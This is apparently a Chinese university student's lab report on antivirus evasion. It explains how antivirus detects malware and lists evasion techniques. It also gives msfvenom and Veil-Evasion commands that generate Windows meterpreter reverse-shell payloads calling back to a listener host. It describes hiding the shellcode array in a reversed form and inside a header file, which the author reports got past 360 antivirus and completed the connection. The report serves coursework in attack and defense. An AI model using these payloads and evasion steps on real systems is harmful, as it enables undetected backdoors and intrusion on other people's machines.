20145314郑凯杰《网络对抗技术》实验3 免杀原理与实践
2017-03-25 15:24
218 查看
20145314郑凯杰《网络对抗技术》实验3 免杀原理与实践
1.0 实践内容
理解免杀技术原理正确使用
msf编码器,
veil-evasion,自己利用
shellcode编程等免杀工具或技巧
通过组合应用各种技术实现恶意代码免杀
用另一电脑实测,在杀软开启的情况下,可运行并回连成功
1.1 基础问题回答
(1)杀软是如何检测出恶意代码的?基于特征码的检测:基于特征码的检测也称为误用检测。杀毒软件通过构建自己庞大的特征库(由特征码构成的一个数据库),通过将特征码与可疑程序进行比对就可判断出软件是否有毒。
启发式恶意软件检测:是根据片面的判断,通过仿真运行程序,寻找可以的代码组合,如果可疑代码组号超过一定阈值,则认为是恶意程序。
基于行为的恶意软件检测:行为检测是利用病毒的特有行为特征性来检测病毒的方法,通过发现病毒的共同而特殊的行为,程序运行时对其进行监视,发现行为则报警。
(2)免杀是做什么?
逐字翻译为“逃避-反病毒”,翻译为“反杀毒技术”。顾名思义就是绕过杀毒软件攻击主机。
(3)免杀的基本方法有哪些?
改变特征码
改变行为
改变操作方式
2.0 理解免杀技术原理
2.1 恶意软件检测机制
基于特征码的检测根据李冬冬老师的信安概论,基于特征码的检测也称为误用检测。杀毒软件通过构建自己庞大的特征库(由特征码构成的一个数据库),通过将特征码与可疑程序进行比对就可判断出软件是否有毒。
但误用检测的最大缺陷在于需要维护庞大的特征码库,而且无法检测未知攻击。然而最近几年研究表明,基于特征码检测能被轻易绕过。另一方面,基于源码分析通常是静态检测,但商业软件或恶意代码往往并不提供源码。也是一个比较困难的地方
启发式恶意软件检测
根据老师给的实验参考书,上面的启发式的意思是根据片面的判断,实质上的做法便是:
启发式方法是通过仿真运行程序,寻找可以的代码组合,如果可疑代码组号超过一定阈值,则认为是恶意程序。针对不同类型的病毒,需要用完全不同的规则来构建启发式分析器,误报率也很高。
基于行为的恶意软件检测
行为检测是利用病毒的特有行为特征性来检测病毒的方法,通过发现病毒的共同而特殊的行为,程序运行时对其进行监视,发现行为则报警。
2.2 免杀技术(Evading AV)
逐字翻译为“逃避-反病毒”,翻译为“反杀毒技术”。顾名思义就是绕过杀毒软件攻击主机。根据2.1的说明,我们可以找到如下“免杀技术”
改变特征码
如果你手里只有EXE
加壳:压缩壳 加密壳
有shellcode(像Meterpreter)
用encode进行编码
基于payload重新编译生成可执行文件
有源代码
用其他语言进行重写再编译(veil-evasion)
改变行为
通讯方式
尽量使用反弹式连接
使用隧道技术
加密通讯数据
操作模式
基于内存操作
减少对系统的修改
非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件
3.0 免杀效果实测
用常见的如msfvenom,
veil-evasion,
backdoor-factory等病毒制作工具来制作免杀的病毒程序。
为了起到对比作用,首先在
VirusTotal和
Virscan两个网站下进行后门文件"zkj5314backdoor"的判断。
由于VirusTotal的cookies出问题,所以无法使用。我们就用Virscan来进行结果输出。分析发现,病毒是:
TR/Crypt.EPACK.Gen2
win32.swrort.gan
trojan.generic
此均为后门病毒(特洛伊木马)的说法.
3.1 msfvenom直接生成meterpreter可执行文件并进行检测
用msfvenom来进行
shellcode的编写
用指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.130 LPORT=443 -f c
生成语言格式的
Shellcode数组
将数组复制入程序并通过指针函数的形式编译成可执行文件
在win下执行成功:
用virscan为判断这个程序是否会被杀毒软件所判断
这里有一个重要的思考题:
(1)判断杀毒软件是根据调用数组这样的非常规操作,还是根据
数组内容来识别出恶意代码的的。如果是调用数组这个操作有问题,我们就需要一个exe,所其中的代码段替换为shellcode;如果是数据内容实识别,那更简单些,我们自己对它加个密,动态解密
对于这个思考题,仔细分析其题干的话,就应该是两个选项:
调用数组或
数组内容。
我便想到了一个方法来对其进行判断:
若是
数组内容可以引起判断的话,那么只要将
数组内容写入一个不调用数组的
.exe文件中,再对这个文件进行杀毒软件的判断,便可以知道究竟杀毒软件所采用的是哪一种方法。进一步,我们也可以知道采用哪种方法才可以实现免杀。
将
shellcode中复制出来的代码放入未引用该数组的可执行文件中,进行判断。发现,杀软可以判断出其中的恶意代码。就是说明,杀毒软件会通过判断数组内容来判别这个程序是否为“带毒”程序,从而也就选择了“
数组内容”的这一方式。
在接下来的实践中,就可以利用隐藏数组的方式来进行免杀的实现。
3.2 使用免杀平台Veil-Evasion
由于老师的kali中已经安装了
Veil-Evasion,所以直接在命令行输入
veil-evasion就可以进入平台
完成配置
use python/meterpreter/rev_tcp set LHOST 10.10.10.130 generate winmine 1
重新返回
menu,只是生成的可执行文件名称为
5314.exe
将这个文件提交至virscan进行判断,发现其已经做到了很大程度上的免杀了,virscan给出的结果是可能是病毒文件,还是可以运行与回连的。
看来
veil-evasion虽然只是改变了编码语言,不过这个效果还真的很厉害
3.3 半手工制作shellcode
用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.128 LPORT=5214 -f c > 5314_c.c生成一个shellcode数组,写入名为
.c的文件里
接下来对这个有用的数组进行操作:最简单的就是对shellcode数组进行处理,并写好相应的解码函数放在我们的程序中,当程序执行时,先解码,再调用,这样就能在一定程度上骗过杀毒软件,且编码函数是我们自己编写的,特征库中应该是不存在的。
3.3.1 普通逆序编写
直接将上一步输出的数组复制到win下,编写一个简单程序,将该数组逆序存储再输出到
.txt文件中并保存。
接下来直接套用老师给的模版函数,用逆序的方法(解码)调用我们先前存储的逆序数组
代码就省略了,结果成功完成回连:
在360下完成回连,但是在进行接下来的视频等操作时,360跳出来查杀我的exe文件,短暂的成功最终还是干不过360。
3.3.2 结合以上思考题的编写
前面的思考题我们得出了结论:
杀毒软件会通过判断数组内容来判别这个程序是否为“带毒”程序,从而也就选择了“`数组内容`”的这一方式。
因此,接下来我将数组封装成"5314.h"文件(查杀该文件时报毒率为0%)
#ifndef __A_H_ #define __A_H_ #include<stdio.h> char met[] = 数组内容 #endif
并编写一个调用该库的exe文件,完成回连:
实验成功:
可以进行各种操作,也绕过了360的查杀
直接用360去杀我含有"5314.h"文件和其可执行文件的目录,发现360这货根本查不出来。
实验成功。
实验总结与体会
本次实验,从性质来看,是上一次实验的下一步:实现网络攻击,首先需要上次实验那样的连接到另一台电脑,并向其发送文件。(用ncat实现Linux与Win互连,生成backdoor可执行程序反弹连接)。然而很重要的一步就是绕过杀毒软件再进行攻击,实现这个,我们才可以真正的实现网络攻击。这次实验的思路也十分重要,老师给的思路是:
找出杀毒软件的杀毒特征,再对症下药进行修改。
而进一步,我从老师的思考题中获得新思路:杀软主要对
调用的数组和
调用函数这两个方面进行查杀。经过我的简单实验,确定了数组为主要问题,但是在3.3.1的半手工shellcode中,360软件照样杀出来了。
于是进一步,不仅对
数组进行操作,更需要对
调用函数也进行隐藏。我采用封装为.h文件的方式,杀软就更杀不出来了。实现了实验的成功。
相关文章推荐
- 20145314郑凯杰《网络对抗技术》实验2 后门原理与实践
- 20145314郑凯杰《网络对抗技术》实验1 逆向及Bof基础实践
- 20145214《网络对抗技术》免杀原理与实践
- 20145339《网络对抗技术》免杀原理与实践
- 20145314郑凯杰《网络对抗技术》实验9 web安全基础实践
- 20145231熊梓宏 《网络对抗》 实验三 免杀原理与实践
- 20145316许心远《网络攻防》第三次实验:免杀原理与实践
- 《网络攻防》实验三:免杀原理与实践
- 20145230熊佳炜《网络对抗》实验三:免杀原理与实践
- 20145209刘一阳《网络对抗》实验三:免杀原理与实践
- 20145203 盖泽双《网络对抗技术》免杀原理与实践
- 20145322《网络对抗技术》免杀原理与实践
- 20145314郑凯杰《网络对抗技术》文件绑定技术研究与实践 总纲
- 20145325张梓靖 《网络对抗技术》 免杀原理与实践
- 20145320免杀原理与实践
- 20145201 李子璇 《网络对抗技术》免杀原理与实践
- 20145207《网络对抗》免杀原理与实践
- 20145212 罗天晨 免杀原理与实践
- 20145238-荆玉茗 《网络对抗》免杀原理与实践
- 20145120黄玄曦《网络对抗》免杀原理与实践